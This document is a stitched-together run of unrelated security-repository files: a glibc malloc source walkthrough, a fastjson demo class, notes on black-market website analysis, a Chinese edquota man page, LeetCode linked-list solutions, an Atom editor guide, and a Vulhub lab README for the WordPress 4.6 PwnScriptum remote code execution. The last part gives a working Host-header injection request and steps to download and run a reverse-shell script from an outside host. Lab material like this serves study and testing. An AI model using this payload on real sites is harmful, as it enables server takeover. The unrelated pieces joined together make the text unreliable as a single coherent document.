```c else if (contiguous(av) && old_size && brk < old_end) /* Oops! Someone else killed our space.. Can't touch anything. */ malloc_printerr("break adjusted to free malloc space"); ``` ##### 处理其他意外情况 ```c /* Otherwise, make adjustments: * If the first time through or noncontiguous, we need to call sbrk just to find out where the end of memory lies. * We need to ensure that all returned chunks from malloc will meet MALLOC_ALIGNMENT * If there was an intervening foreign sbrk, we need to adjust sbrk request size to account for fact that we will not be able to combine new space with existing space in old_top. * Almost all systems internally allocate whole pages at a time, in which case we might as well use the whole last page of request. So we allocate enough more memory to hit a page boundary now, which in turn causes future contiguous calls to page-align. */ else { front_misalign = 0; end_misalign = 0; correction = 0; aligned_brk = brk; ``` ###### 处理连续内存 ```c /* handle contiguous cases */ if (contiguous(av)) { /* Count foreign sbrk as system_mem. */ if (old_size) av->system_mem += brk - old_end; /* Guarantee alignment of first new chunk made from this space */ front_misalign = (INTERNAL_SIZE_T)chunk2mem(brk) & MALLOC_ALIGN_MASK; if (front_misalign > 0) { /* Skip over some bytes to arrive at an aligned position. We don't need to specially mark these wasted front bytes. They will never be accessed anyway because prev_inuse of av->top (and any chunk created from its start) is always true after initialization. */ correction = MALLOC_ALIGNMENT - front_misalign; aligned_brk += correction; } /* If this isn't adjacent to existing space, then we will not be able to merge with old_top space, so must add to 2nd request. */ correction += old_size; /* Extend the end address to hit a page boundary */ end_misalign = (INTERNAL_SIZE_T)(brk + size + correction); correction += (ALIGN_UP(end_misalign, pagesize)) - end_misalign; assert(correction >= 0); snd_brk = (char *)(MORECORE(correction)); /* If can't allocate correction, try to at least find out current brk. It might be enough to proceed without failing. Note that if second sbrk did NOT fail, we assume that space is contiguous with first sbrk. This is a safe assumption unless program is multithreaded but doesn't use locks and a foreign sbrk occurred between our first and second calls. */ if (snd_brk == (char *)(MORECORE_FAILURE)) { correction = 0; snd_brk = (char *)(MORECORE(0)); } else { /* Call the `morecore' hook if necessary. */ void (*hook)(void) = atomic_forced_read(__after_morecore_hook); if (__builtin_expect(hook != NULL, 0)) (*hook)(); } } ``` ###### 处理不连续内存 ```c /* handle non-contiguous cases */ else { if (MALLOC_ALIGNMENT == 2 * SIZE_SZ) /* MORECORE/mmap must correctly align */ assert(((unsigned long)chunk2mem(brk) & MALLOC_ALIGN_MASK) == 0); else { front_misalign = (INTERNAL_SIZE_T)chunk2mem(brk) & MALLOC_ALIGN_MASK; if (front_misalign > 0) { /* Skip over some bytes to arrive at an aligned position. We don't need to specially mark these wasted front bytes. They will never be accessed anyway because prev_inuse of av->top (and any chunk created from its start) is always true after initialization. */ aligned_brk += MALLOC_ALIGNMENT - front_misalign; } } /* Find out current end of memory */ if (snd_brk == (char *)(MORECORE_FAILURE)) { snd_brk = (char *)(MORECORE(0)); } } ``` ###### 调整 ```c /* Adjust top based on results of second sbrk */ if (snd_brk != (char *)(MORECORE_FAILURE)) { av->top = (mchunkptr)aligned_brk; set_head(av->top, (snd_brk - aligned_brk + correction) | PREV_INUSE); av->system_mem += correction; /* If not the first time through, we either have a gap due to foreign sbrk or a non-contiguous region. Insert a double fencepost at old_top to prevent consolidation with space we don't own. These fenceposts are artificial chunks that are marked as inuse and are in any case too small to use. We need two to make sizes and alignments work out. */ if (old_size != 0) { /* Shrink old_top to insert fenceposts, keeping size a multiple of MALLOC_ALIGNMENT. We know there is at least enough space in old_top to do this. */ old_size = (old_size - 4 * SIZE_SZ) & ~MALLOC_ALIGN_MASK; set_head(old_top, old_size | PREV_INUSE); /* Note that the following assignments completely overwrite old_top when old_size was previously MINSIZE. This is intentional. We need the fencepost, even if old_top otherwise gets lost. */ set_head(chunk_at_offset(old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE); set_head(chunk_at_offset(old_top, old_size + 2 * SIZE_SZ), (2 * SIZE_SZ) | PREV_INUSE); /* If possible, release the rest. */ if (old_size >= MINSIZE) { _int_free(av, old_top, 1); } } } } ``` 需要注意的是,在这里程序将旧的 top chunk 进行了释放,那么其会根据大小进入不同的 bin 或 tcache 中。 #### 更新最大内存 ```c if ((unsigned long)av->system_mem > (unsigned long)(av->max_system_mem)) av->max_system_mem = av->system_mem; check_malloc_state(av); ``` #### 分配内存块 ##### 获取大小 ```c /* finally, do the allocation */ p = av->top; size = chunksize(p); ``` ##### 切分 top ```c /* check that one of the above allocation paths succeeded */ if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(p, nb); av->top = remainder; set_head(p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, p, nb); return chunk2mem(p); } ``` #### 捕捉所有错误 ```c /* catch all failure paths */ __set_errno(ENOMEM); return 0; ```
sec-knowleage
package org.vulhub.fastjsondemo; import com.alibaba.fastjson.annotation.JSONField; public class User { @JSONField private String name; @JSONField private Integer age; public String getName() { return name; } public void setName(String name) { this.name = name; } public Integer getAge() { return age; } public void setAge(Integer age) { this.age = age; } }
sec-knowleage
# 总体的思路 此篇整理一些黑灰产对抗时的一些总体的思路和方法。 ## 黑产网站分类 > 根据给出的域名和 *URL*,对网站域名进行黑产网站的分类,在提供的基础的黑产类别上,发现并识别更多种类的黑产网站 > > 基础黑产类别:涉赌、涉黄、涉毒、涉枪、涉诈、传销、接码平台、账号买卖、个人信息买卖、黑客相关、发卡平台、空包、卡池猫池、网赚、游戏私服、流量劫持、政府仿冒、假证买卖、支付平台、跑分平台、*IDC* 服务商、*CDN* 服务商等。[1] > ## 网站劫持判断 > 根据给出的域名和 *URL*,以及题目一得到的黑产分类,判断网站是自主行为还是被黑客劫持,劫持的话劫持的目标是哪里以及它的分类[1] ## 黑产网站关联分析、团伙发现 > 根据给出的域名和 *URL*,以及题目一得到的黑产分类,题目二得到的劫持信息,对这些网站进行关联分析,试图找出其中存在的黑产团伙[1] ## 团伙识别 ### 规则识别 主要是基于风控规则,对数据做的一个标签处理。 ### 算法识别 尝使用机器学习算法,包括: - 统计机器学习方法 - 深度学习方法 - 挖掘算法 - 基于图的挖掘算法 ### 人工识别 利用专家经验进行的一些人工运营行为。 ## 风险分析 风险分析 = 风险场景 + 数据纬度 + 黑产手法 ——> 解决方案 ## References \[1] DataCon2020优秀解题思路分享:网络黑产方向,浙江大学matrix战队,https://datacon.qianxin.com/blog/archives/196
sec-knowleage
.TH EDQUOTA 8 "2001年3月9日星期五" .SH NAME(名称) edquota \- 编辑用户配额 .SH SYNOPSIS(总览) .B edquota [ .B \-p .I proto-username ] [ .B \-u | .B \-g ] .IR username .\|.\|. .LP .B edquota [ .B \-u | .B \-g ] .B \-t .SH DESCRIPTION(描述) .IX "edquota command" "" "\fLedquota\fP \(em edit user quotas" .IX edit "user quotas \(em \fLedquota\fP" .IX "user quotas" "edquota command" "" "\fLedquota\fP \(em edit user quotas" .IX "disk quotas" "edquota command" "" "\fLedquota\fP \(em edit user quotas" .IX "quotas" "edquota command" "" "\fLedquota\fP \(em edit user quotas" .IX "file system" "edquota command" "" "\fLedquota\fP \(em edit user quotas" .B edquota 是一个配额编辑器(如果你想在脚本中设置配额,请参看 .BR setquota (8) ). 在命令行上可以指定一个或多个用户或组.对于每个用户或组,会用 .SM ASCII 形式创建一个针对该用户或组的当前磁盘配额的临时文件,并对这个文件 调用编辑器.随后可以修改配额,添加新的配额,等等. 设置某个配额为零表示不施加任何配额限制. .PP 可以允许用户超出它们的软限制一段宽限期,该宽限期对每个文件系统指定. 一旦超出此宽限期,软限制即作为硬限制来执行. .PP 文件中列出的当前的使用信息是用于提供信息的; 只可以修改硬和软限制. .PP 一旦离开编辑器, .B edquota 就读入临时文件并修改二进制配额文件以反映所作的修改. .LP 调用的编辑器为 .BR vi (1) 除非 .SB VISUAL 或者 .SB EDITOR 环境变量指定了其它的编辑器. .LP 只有超级用户可以编辑配额.(为了在一个文件系统上建立配额,文件系统的 root目录下必须包含一个由root所有,叫做 .BR aquota.user 或 .BR aquota.group 的文件. 参看 .BR quotaon (8) 以了解详情.) .SH OPTIONS(选项) .TP .B \-u 编辑用户配额.这是默认的选项. .TP .B \-g 编辑组配额. .TP .B \-p 对每个指定的用户/组的原配额加倍. 这是用来对一组用户/组初始化配额时常用的方法. .TP .B \-t 对每个文件系统编辑软时间限制. sec(onds),min(utes),hour(s),day(s)时间单元都是可识别的. 时间限制显示为最大的可能时间单元,以使该值大于或等于任何值. .SH FILES(相关文件) .PD 0 .TP 20 位于文件系统root下的 .BR aquota.user 或 .BR aquota.group 配额文件. .TP .B /etc/mtab 已挂载的文件系统表 .PD .SH SEE ALSO(另见) .BR quota (1), .BR vi (1), .BR quotactl (2), .BR quotacheck (8), .BR quotaon (8), .BR repquota (8), .BR convertquota (8), .BR setquota (8) .SH BUGS(漏洞) 临时文件的格式是无法预测的. .SH AUTHOR(作者) Jan Kara \<jack@atrey.karlin.mff.cuni.cz\> .br 基于老的 .B edquota 可能作者: .br Marco van Wieringen \<mvw@planets.elm.net\> .SH "[中文版维护人]" .B riser <boomer@ccidnet.com> .SH "[中文版最新更新]" .B 2001.07.09 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# Leetcode 题解 - 链表 <!-- GFM-TOC --> * [Leetcode 题解 - 链表](#leetcode-题解---链表) * [1. 找出两个链表的交点](#1-找出两个链表的交点) * [2. 链表反转](#2-链表反转) * [3. 归并两个有序的链表](#3-归并两个有序的链表) * [4. 从有序链表中删除重复节点](#4-从有序链表中删除重复节点) * [5. 删除链表的倒数第 n 个节点](#5-删除链表的倒数第-n-个节点) * [6. 交换链表中的相邻结点](#6-交换链表中的相邻结点) * [7. 链表求和](#7-链表求和) * [8. 回文链表](#8-回文链表) * [9. 分隔链表](#9-分隔链表) * [10. 链表元素按奇偶聚集](#10-链表元素按奇偶聚集) <!-- GFM-TOC --> 链表是空节点,或者有一个值和一个指向下一个链表的指针,因此很多链表问题可以用递归来处理。 ## 1. 找出两个链表的交点 160\. Intersection of Two Linked Lists (Easy) [Leetcode](https://leetcode.com/problems/intersection-of-two-linked-lists/description/) / [力扣](https://leetcode-cn.com/problems/intersection-of-two-linked-lists/description/) 例如以下示例中 A 和 B 两个链表相交于 c1: ```html A: a1 → a2 ↘ c1 → c2 → c3 ↗ B: b1 → b2 → b3 ``` 但是不会出现以下相交的情况,因为每个节点只有一个 next 指针,也就只能有一个后继节点,而以下示例中节点 c 有两个后继节点。 ```html A: a1 → a2 d1 → d2 ↘ ↗ c ↗ ↘ B: b1 → b2 → b3 e1 → e2 ``` 要求时间复杂度为 O(N),空间复杂度为 O(1)。如果不存在交点则返回 null。 设 A 的长度为 a + c,B 的长度为 b + c,其中 c 为尾部公共部分长度,可知 a + c + b = b + c + a。 当访问 A 链表的指针访问到链表尾部时,令它从链表 B 的头部开始访问链表 B;同样地,当访问 B 链表的指针访问到链表尾部时,令它从链表 A 的头部开始访问链表 A。这样就能控制访问 A 和 B 两个链表的指针能同时访问到交点。 如果不存在交点,那么 a + b = b + a,以下实现代码中 l1 和 l2 会同时为 null,从而退出循环。 ```java public ListNode getIntersectionNode(ListNode headA, ListNode headB) { ListNode l1 = headA, l2 = headB; while (l1 != l2) { l1 = (l1 == null) ? headB : l1.next; l2 = (l2 == null) ? headA : l2.next; } return l1; } ``` 如果只是判断是否存在交点,那么就是另一个问题,即 [编程之美 3.6]() 的问题。有两种解法: - 把第一个链表的结尾连接到第二个链表的开头,看第二个链表是否存在环; - 或者直接比较两个链表的最后一个节点是否相同。 ## 2. 链表反转 206\. Reverse Linked List (Easy) [Leetcode](https://leetcode.com/problems/reverse-linked-list/description/) / [力扣](https://leetcode-cn.com/problems/reverse-linked-list/description/) 递归 ```java public ListNode reverseList(ListNode head) { if (head == null || head.next == null) { return head; } ListNode next = head.next; ListNode newHead = reverseList(next); next.next = head; head.next = null; return newHead; } ``` 头插法 ```java public ListNode reverseList(ListNode head) { ListNode newHead = new ListNode(-1); while (head != null) { ListNode next = head.next; head.next = newHead.next; newHead.next = head; head = next; } return newHead.next; } ``` ## 3. 归并两个有序的链表 21\. Merge Two Sorted Lists (Easy) [Leetcode](https://leetcode.com/problems/merge-two-sorted-lists/description/) / [力扣](https://leetcode-cn.com/problems/merge-two-sorted-lists/description/) ```java public ListNode mergeTwoLists(ListNode l1, ListNode l2) { if (l1 == null) return l2; if (l2 == null) return l1; if (l1.val < l2.val) { l1.next = mergeTwoLists(l1.next, l2); return l1; } else { l2.next = mergeTwoLists(l1, l2.next); return l2; } } ``` ## 4. 从有序链表中删除重复节点 83\. Remove Duplicates from Sorted List (Easy) [Leetcode](https://leetcode.com/problems/remove-duplicates-from-sorted-list/description/) / [力扣](https://leetcode-cn.com/problems/remove-duplicates-from-sorted-list/description/) ```html Given 1->1->2, return 1->2. Given 1->1->2->3->3, return 1->2->3. ``` ```java public ListNode deleteDuplicates(ListNode head) { if (head == null || head.next == null) return head; head.next = deleteDuplicates(head.next); return head.val == head.next.val ? head.next : head; } ``` ## 5. 删除链表的倒数第 n 个节点 19\. Remove Nth Node From End of List (Medium) [Leetcode](https://leetcode.com/problems/remove-nth-node-from-end-of-list/description/) / [力扣](https://leetcode-cn.com/problems/remove-nth-node-from-end-of-list/description/) ```html Given linked list: 1->2->3->4->5, and n = 2. After removing the second node from the end, the linked list becomes 1->2->3->5. ``` ```java public ListNode removeNthFromEnd(ListNode head, int n) { ListNode fast = head; while (n-- > 0) { fast = fast.next; } if (fast == null) return head.next; ListNode slow = head; while (fast.next != null) { fast = fast.next; slow = slow.next; } slow.next = slow.next.next; return head; } ``` ## 6. 交换链表中的相邻结点 24\. Swap Nodes in Pairs (Medium) [Leetcode](https://leetcode.com/problems/swap-nodes-in-pairs/description/) / [力扣](https://leetcode-cn.com/problems/swap-nodes-in-pairs/description/) ```html Given 1->2->3->4, you should return the list as 2->1->4->3. ``` 题目要求:不能修改结点的 val 值,O(1) 空间复杂度。 ```java public ListNode swapPairs(ListNode head) { ListNode node = new ListNode(-1); node.next = head; ListNode pre = node; while (pre.next != null && pre.next.next != null) { ListNode l1 = pre.next, l2 = pre.next.next; ListNode next = l2.next; l1.next = next; l2.next = l1; pre.next = l2; pre = l1; } return node.next; } ``` ## 7. 链表求和 445\. Add Two Numbers II (Medium) [Leetcode](https://leetcode.com/problems/add-two-numbers-ii/description/) / [力扣](https://leetcode-cn.com/problems/add-two-numbers-ii/description/) ```html Input: (7 -> 2 -> 4 -> 3) + (5 -> 6 -> 4) Output: 7 -> 8 -> 0 -> 7 ``` 题目要求:不能修改原始链表。 ```java public ListNode addTwoNumbers(ListNode l1, ListNode l2) { Stack<Integer> l1Stack = buildStack(l1); Stack<Integer> l2Stack = buildStack(l2); ListNode head = new ListNode(-1); int carry = 0; while (!l1Stack.isEmpty() || !l2Stack.isEmpty() || carry != 0) { int x = l1Stack.isEmpty() ? 0 : l1Stack.pop(); int y = l2Stack.isEmpty() ? 0 : l2Stack.pop(); int sum = x + y + carry; ListNode node = new ListNode(sum % 10); node.next = head.next; head.next = node; carry = sum / 10; } return head.next; } private Stack<Integer> buildStack(ListNode l) { Stack<Integer> stack = new Stack<>(); while (l != null) { stack.push(l.val); l = l.next; } return stack; } ``` ## 8. 回文链表 234\. Palindrome Linked List (Easy) [Leetcode](https://leetcode.com/problems/palindrome-linked-list/description/) / [力扣](https://leetcode-cn.com/problems/palindrome-linked-list/description/) 题目要求:以 O(1) 的空间复杂度来求解。 切成两半,把后半段反转,然后比较两半是否相等。 ```java public boolean isPalindrome(ListNode head) { if (head == null || head.next == null) return true; ListNode slow = head, fast = head.next; while (fast != null && fast.next != null) { slow = slow.next; fast = fast.next.next; } if (fast != null) slow = slow.next; // 偶数节点,让 slow 指向下一个节点 cut(head, slow); // 切成两个链表 return isEqual(head, reverse(slow)); } private void cut(ListNode head, ListNode cutNode) { while (head.next != cutNode) { head = head.next; } head.next = null; } private ListNode reverse(ListNode head) { ListNode newHead = null; while (head != null) { ListNode nextNode = head.next; head.next = newHead; newHead = head; head = nextNode; } return newHead; } private boolean isEqual(ListNode l1, ListNode l2) { while (l1 != null && l2 != null) { if (l1.val != l2.val) return false; l1 = l1.next; l2 = l2.next; } return true; } ``` ## 9. 分隔链表 725\. Split Linked List in Parts(Medium) [Leetcode](https://leetcode.com/problems/split-linked-list-in-parts/description/) / [力扣](https://leetcode-cn.com/problems/split-linked-list-in-parts/description/) ```html Input: root = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], k = 3 Output: [[1, 2, 3, 4], [5, 6, 7], [8, 9, 10]] Explanation: The input has been split into consecutive parts with size difference at most 1, and earlier parts are a larger size than the later parts. ``` 题目描述:把链表分隔成 k 部分,每部分的长度都应该尽可能相同,排在前面的长度应该大于等于后面的。 ```java public ListNode[] splitListToParts(ListNode root, int k) { int N = 0; ListNode cur = root; while (cur != null) { N++; cur = cur.next; } int mod = N % k; int size = N / k; ListNode[] ret = new ListNode[k]; cur = root; for (int i = 0; cur != null && i < k; i++) { ret[i] = cur; int curSize = size + (mod-- > 0 ? 1 : 0); for (int j = 0; j < curSize - 1; j++) { cur = cur.next; } ListNode next = cur.next; cur.next = null; cur = next; } return ret; } ``` ## 10. 链表元素按奇偶聚集 328\. Odd Even Linked List (Medium) [Leetcode](https://leetcode.com/problems/odd-even-linked-list/description/) / [力扣](https://leetcode-cn.com/problems/odd-even-linked-list/description/) ```html Example: Given 1->2->3->4->5->NULL, return 1->3->5->2->4->NULL. ``` ```java public ListNode oddEvenList(ListNode head) { if (head == null) { return head; } ListNode odd = head, even = head.next, evenHead = even; while (even != null && even.next != null) { odd.next = odd.next.next; odd = odd.next; even.next = even.next.next; even = even.next; } odd.next = evenHead; return head; } ```
sec-knowleage
--- title: Atom 编辑器 --- # Atom 编辑器 在 Web 开发领域,最受高手追捧的是三款编辑器:vim ,sublime ,atom 。Atom 的使用跟 sublime 类似,但是功能更强,所以主力编辑器选择 atom 。vim 太难学,不推荐作为主力编辑器,但是后面涉及服务器管理的时候,还是需要用到 vim 。 ### 安装 1. 深度系统上,到 atom.io 网站,下载 .deb 的包,进行安装。 2. 或者到深度商店搜索 atom 进行下载 ### 打开一个项目 在 Linux 上打开命令行命令 ``` Ctrl+Alt+T ``` ``` cd project/ atom . ``` ### 创建文件 默认就是用 Ctrl-n ,保存用 Ctrl-s 。 使用一个插件来进行文件创建操作,叫做 [Advanced New File](https://atom.io/packages/advanced-open-file) 。 ### 自动补齐 现在我想输入 `h1<tab>` 就自动补齐成 ``` <h1></h1> ``` 这个需要安装一个包叫做 emmet 。 ### 装包 使用 Ctrl-Shift-P 打开命令面板,然后搜索 ``` install packages ``` 可以搜到 `Install Packages And Themes` ,选中,回车,就进入了装包界面。 搜索报名,例如 `pigments` ,搜到之后,点 install 就可以了。 查看 atom 中已经安装了哪些包,就用 Ctrl-Shift-P 打开命令面板,然后输入 ``` Uninstall Packages ``` 就可以看到所有已经安装的包了。 ### Web好用的插件 - `file-icons`,显示文件类型对应的图标 - `emmet`,代码补齐 - `language-babel`,JSX语法 - `linter`,代码检查 - `linter-jshint`,JS代码查错(必须安装`linter`后才能使用) - `highlight-selected`,高亮当前所选文字 - `git-control`,支持git插件 - `atom-beautify`,一键代码美化 - `simplified-chinese-menu`,简体中文汉化 - `atom-material-ui`,好看到爆 - `atom-material-syntax`,美化 - `atom-ternjs`,js代码提示很强大,高度定制化 - `docblockr`,jsdoc 给js添加注释 - `autoclose-html`,闭合html标签 - `color-picker`,取色器(必备插件) - `pigments`,颜色显示插件 (必装) - `terminal-panel`,直接在atom里面写命令了 - `svg-preview`,svg预览 - `markdown-preview-enhanced`,Markdown展示插件([参考地址](https://shd101wyy.github.io/markdown-preview-enhanced/#/zh-cn/https://shd101wyy.github.io/markdown-preview-enhanced/#/zh-cn/)) ### Atom 快捷键 #### 配置自己的快捷键 打开搜索功能 ``` ctrl+Shift+P ``` 搜索`snippets` 选择下面那项,打开 ``` Application: Open Your Snippets ``` 打开`snippets.cson`后,将下面代码贴入 ```json # Your snippets # # Atom snippets allow you to enter a simple prefix in the editor and hit tab to # expand the prefix into a larger code block with templated values. # # You can create a new snippet in this file by typing "snip" and then hitting # tab. # # An example CoffeeScript snippet to expand log to console.log: # # '.source.coffee': # 'Console log': # 'prefix': 'log' # 'body': 'console.log $1' # # Each scope (e.g. '.source.coffee' above) can only be declared once. # # This file uses CoffeeScript Object Notation (CSON). # If you are unfamiliar with CSON, you can read more about it in the # Atom Flight Manual: # http://flight-manual.atom.io/using-atom/sections/basic-customization/#_cson '.source.js': 'Console log': 'prefix': 'log' 'body': "console.log('$1')" '.source.js': 'React Class': 'prefix': 'recl' 'body': """ import React, { Component } from 'react' class $1 extends Component { render(){ return( <div className="$2"> $3 </div> ) } } export default $1 """ '.source.js.jsx': 'JSX div': 'prefix': 'div' 'body': """ <div className="$1"> </div> """ ``` - '.source.js': 添加源 - 'Console log': 添加说明 - 'prefix': 'log' 快捷前缀 - 'body': "console.log('$1')" 输入前缀后出现的主体 - $1 代表输入出现主体后出现光标的位置 #### 内置快捷键 ##### File【文件】 快捷键 | 英文名 | 中文名 | 作用 ----------------- | ------------------- | -------------- | ----------------------- ctrl+shift+N | New Window | 新窗口 | 新建一个atom编辑器视图窗 ctrl+n | New File | 新文件 | 新建一个普通文本文件 ctrl+o | Open File | 打开文件 | 从某个路径打开需要编辑的文件 ctrl+shift+o | Open Folder | 打开目录 | 打开工作目录 .ctrl+shift+t | Reopen Closed File | 打开关闭文件 | 最近关闭的文件,有历史记录 ctrl+comma | settings | 设置中心 | comma就是逗号键 ctrl+s | Save | 保存 | 保存当前编辑的文件 ctrl+shift+s | Sava As | 另存为 | 把编辑的文件保存到其他位置 ctrl+w | Close Tab | 关闭标签页 | 就是当前编辑的编辑窗口页面 ctrl+shift+w | Close Window | 退出编辑器 | 如中文所示,关闭Atom ##### Edit【编辑】 快捷键 | 英文名 | 中文名 | 作用 ------------------ | ------------------------- | ------------- | ------------------------------------ ctrl+z | Undo | 撤销 | 返回上一步 ctrl+y | Redo | 重做 | 很少用 ctrl+x | Cut | 剪切 | 如中文所示 ctrl+c | Copy | 复制 | 如中文所示 ctrl+shift+c | Copy Path | 复制文件路径 | 当前编辑文件的路径 ctrl+v | Paste | 粘贴 | 如中文所示 ctrl+a | Select All | 全选 | 选择全文 ctrl+/ | Toggle Command | 注释 | 如中文所示 ctrl+] | Indent | 缩进 | 如中文所示 ctrl+[ | outdent | 回退缩进 | 有点类似撤销,与缩进相反 alt+shift+left | arrow Move Selection Left | 移动选择到左边 | 意思就是你选定部分内容到光标前一个位置 alt+shift+right | arrow Move Selection Right| 移动选择到右边 | 一致 ctrl+del[Delete] | Delete to End of Word | 删除当前光标处到词尾结束部分 | 就是删除范围在单词内 ctrl+shift+k | Delete Line | 删除行 | 删除光标处的行 ctrl+alt+] | Fold | 展开段落 | 展开代码块 ctrl+alt+[ | Unfold | 折叠段落 | 就是折叠代码块 ctrl+alt+shift+] | Unfold All | 展开所有折叠段落 | 展开所有折叠代码块 ctrl+alt+shift+[ | Fold All | 折叠所有段落 | 折叠所有可折叠的代码块 ctrl+alt+q R | eflow Selection | 浮动选择区域 | 意思就是你选择的区域会变成流动布局,一般是行内容追加在上一行后面 ctrl+shift+u | Select Encoding | 选择文件编码 | 如中文所示 ctrl+g | Go to Line | 跳转到某行 | 跳转 ctrl+shift+l | Select Grammar | 选择语法格式 | 其实就是什么格式的文件 ctrl+f2 | View All | 查看所有书签【切换跳到书签位置】| 书签是个很实用的功能 ctrl+alt+f2 | Toggle Bookmark | 是否在光标处设置标签| 如中文所示 f2 | Jump to Next Bookmark | 跳到下一个标签位置 | 如中文所示 ctrl+f2 | Jump to Previour Bookmark | 跳到上一个标签位置 | 如中文所示 ##### View【视图】 快捷键 | 英文名 | 中文名 | 作用 -------------- | ------------------------ | ----------------- | ----------------------- F11 | Toggle Full Screen | 切换全屏 | 如中文所示 ctrl+alt+r | Reload Window | 重新加载窗口 | 跟重开编辑器差不多 ctrl+alt+p | Run Package Specs | 让包执行特定模式 | 具体不晓得 ctrl+alt+i | Toggle Developer Tools | 打开开发者工具 | 就是chrome的调试工具 ctrl+shift+= | Increase Font Size | 加大编辑窗口字体字号 | 如中文所示 ctrl+shift+- | Decrease Font Size | 减小编辑窗口字体字号 | 如中文所示 ctrl+0 | Resset Font Size | 重置字体字号 | 恢复默认大小 .ctrl+alt+O | Toggle Symbols-Tree-View | 文件索引 | 这个是插件的 ctrl+\ Toggle | Tree View | 是否展开目录树 | 执行这个默认会聚焦侧边栏 ctrl+shift+p | Toggle Command Plaette | 打开全局命令片段 | 最强大的功能 ##### Selection【选择】 快捷键 | 英文名 | 中文名 | 作用 ----------------- | ------------------------- | ------------------ | ----------------------- ctrl+alt+up | arrow Add Selection Above| 选择选区到上一行 | 就是选定部分区域追加到上一行选定 ctrl+alt+down | arrow Add Selection Below| 选择选区到下一行 | 一致 Esc | Single Selection | 选择单行 | 没试出来 ctrl+shift+Home | Select to Top | 光标处到顶部 | 全选功能的拆开,挺实用的 ctrl+shift+End | Select to Bottom | 光标处到底部 | 全选功能的拆开,挺实用的 ctrl+l | Select Line | 光标处一行选定 | 如中文所示 ctrl+shift+left | arrow Select to Begining of Word | 光标处到词头 | 也很实用 ctrl+shift+right | arrow Select to End of Word | 光标处到词尾 | 也很使用 shift+home Select | to Character of Line | 光标处到行首 | 如中文所示 shift+end Select | to End of Line | 光标处到行尾 | 很实用 ctrl+alt+m Select | inside Brackets | 选定括号内内容 | 就是括号,或者标签内的内容 ##### Find【搜索】 快捷键 | 英文名 | 中文名 | 作用 -------------- | --------------------- | -------------------- | ----------------------- ctrl+f | Find in Buffer | 从缓存中找 | 换个理解就是编辑文件内查询 ctrl+alt+f | Replace in Buffer | 从缓存中查询替换 | 就是在文件内替换查找文本 ctrl+d | Select Next | 查询及选定相同的内容 | 神器! alt+F3 | Select All | 全选文件内当前选定的内容 | 能匹配到的都选定,神器! ctrl+shift+f | Find in Project | 从工作目录查询 | 可以理解为全局搜索 f3 | Find Next | 查询下一个 | 就是当前文件内查找的内容,下一个匹配的 shift+f3 | Find Previous | 查询上一个 | 一致 ctrl+b | Find Buffer | 展开缓存 | 就是当前打开的所有编辑文件 ctrl+p | Find File | 查询且打开文件 | 全局搜索文件名打开文件 ctrl+shift+b | Find Modifiled File | 查询编辑的文件 | 没反应 ##### core[内置快捷键] 快捷键 | 英文名 | 中文名 | 作用 ----------------- | ------------------- | -------------- | ----------------------- ctrl+r |Toggle File Symbols | 文件内符号索引 |很方便跳转,试用 > 文件语法高亮 - `ctrl-shift-L` 选择文本类型 > 使用Atom进行写作Markdown - `ctrl-shift-M` Markdown预览 - 可用代码片段 b, legal, img, l, i, code, t, table ### 参考 - atom官网:[点击进入](https://atom.io/) - atom中文社区:[点击进入](https://atom-china.org/) - CSDN博客:[点击进入](http://blog.csdn.net/bomess/article/category/3202419)
sec-knowleage
# Wordpress 4.6 Remote Code Execution Vulnerability (PwnScriptum) [中文版本(Chinese version)](README.zh-cn.md) ## Reference link https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html ## Environment setup ``` docker compose build docker compose up -d ``` Because Mysql initialization needs a little time, so please wait. After initialization succeeds, visit `http://your-ip:8080/`, set the administrator username and password to use it (the database is configured and not automatically updated). ## Exploit Send the following packet, and you can see that `/tmp/success` has been successfully created: ``` POST /wp-login.php?action=lostpassword HTTP/1.1 Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null) Connection: close User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Accept: */* Content-Length: 56 Content-Type: application/x-www-form-urlencoded wp-submit=Get+New+Password&redirect_to=&user_login=admin ``` We need to meet the following requirements to exploit this vulnerability: 1. The executed command cannot contain some special characters, such as `:`, `'`,`"`, etc. 2. The command will be converted to lowercase letters 3. The command needs to use an absolute path 4. Need know an existing user username In order to solve these problems, the vulnerability author came up with `${substr{0}{1}{$spool_directory}}` instead of `/`, using `${substr{10}{1}{$tod_log}}` method of replacing spaces. However, there are still a lot of characters can't be used. So we need to put the command on the third-party website, and then download it to `/tmp` directory by `curl -o /tmp/rce example.com/shell.sh`. Therefore, the expliot process is follows: - Write the exp of reverse shell and put it on a site. The exp have this following requirements: - the entire url's uppercase letters will be converted to lowercase, so the file path should not contain uppercase letters. - Access to this page can't be redirected because the parameter for follow redirect is `-L` (uppercase). - Splice the command`/usr/bin/curl -o/tmp/rce example.com/shell.sh`and`/bin/bash /tmp/rce`. - Convert the spaces and `/` in the command to `${substr{10}{1}{$tod_log}}` and `${substr{0}{1}{$spool_directory}}`. - Produce the HTTP Host header:`target(any -froot@localhost -be ${run{command}} null)`. - Send these two packets in order. Here is [expliot.py](exploit.py),change `target` to your target site,change `user` to an exist user name,change `shell_url` to your payload site. Execute to get the shell: ![](1.png)
sec-knowleage
